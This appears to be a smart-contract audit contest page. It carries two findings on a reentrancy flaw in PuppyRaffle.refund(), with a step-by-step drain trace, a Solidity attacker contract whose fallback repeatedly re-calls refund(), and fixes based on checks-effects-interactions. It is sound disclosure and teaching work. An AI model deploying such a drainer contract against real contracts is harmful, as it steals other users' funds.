Reentrancy in refund() allows repeated refunds before the player slot is cleared
Root + Impact
Description
PuppyRaffle.refund() in src/PuppyRaffle.sol breaks the checks-effects-interactions pattern. It sends the entrance fee to the caller before it updates any state, so the refund can be re-entered and repeated for the same ticket.
The vulnerable code is:
The external call, payable(msg.sender).sendValue(entranceFee), happens on the line before players[playerIndex] = address(0). OpenZeppelin's Address.sendValue makes a low-level call that forwards all available gas, so a player that is a contract receives control while its slot is still marked as active. Both require checks therefore still pass on re-entry: players[playerIndex] is still the attacker, and it is still not address(0). Nothing in the function limits how many times it can be re-entered in a single transaction, and there is no reentrancy guard on the contract.
This is a straightforward reentrancy issue, not a subtle ordering or rounding question. The state change that should make a second refund impossible is the very last effect of the function, after the only external call. Any contract player can exploit it without needing owner rights, a special role, or a race with another user.
Risk
Likelihood: High - any player can be a contract. Entering the raffle as a contract is a normal, permitted action, and the attack needs no privileged access, no timing window, and no help from the owner or from other players.
Impact: High - a single entrance fee can be refunded again and again until the contract balance is drained. The money taken belongs to other players and to the prize pool, so honest players lose their entrance fees, the winner's prize is reduced or removed entirely, and the raffle can no longer pay out as promised. The fee address also loses the fees it was due, because the balance that should have funded the prize and the fees is gone.
Proof of Concept
Manual trace - no tests were run; this is a step-by-step reading of the code, with a worked example.
Worked example: suppose the entrance fee is 1 ether and four players have entered, so the contract holds 4 ether. An attacker contract enters once, paying 1 ether, and records its index, for example index 3.
The attacker contract calls
refund(3). The first check passes, becauseplayers[3]is the attacker. The second check passes, becauseplayers[3]is notaddress(0).payable(msg.sender).sendValue(entranceFee)sends 1 ether to the attacker contract and hands it control through its receive function. At this pointplayers[3]has not been changed, so the attacker is still recorded as an active player.From its receive function, the attacker contract calls
refund(3)again. Both checks pass again for exactly the same reason as before, so a second 1 ether is sent, and control is handed back to the attacker again.Each re-entry sends another 1 ether. The loop only stops when the contract balance is drained or the transaction runs out of gas. With 4 ether in the contract, the attacker can take the remaining 3 ether that belong to the other players, on top of its own 1 ether, for a total of 4 ether from a single 1 ether entry.
Only after the outermost call finally returns does
players[3] = address(0)run, which is too late: the repeated refunds have already happened.
The same trace works for any entrance fee and any number of other players, because the amount drained is limited only by the contract balance and the gas available, not by the number of tickets the attacker bought.
Recommended Mitigation
Follow checks-effects-interactions: update state before making the external call, and add a reentrancy guard as defence in depth. The state change should come first, so a re-entered call sees address(0) and fails the second require.
In addition, consider inheriting OpenZeppelin's ReentrancyGuard and marking refund as nonReentrant, so that even a future change to the ordering cannot reintroduce this issue.
Lead Judging Commences
[H-02] Reentrancy Vulnerability In refund() function
## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.
Rewards breakdown
Live
The contest is live. Earn rewards by submitting a finding.
Judging
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsRewards Distribution
The contest is complete and the rewards are being distributed.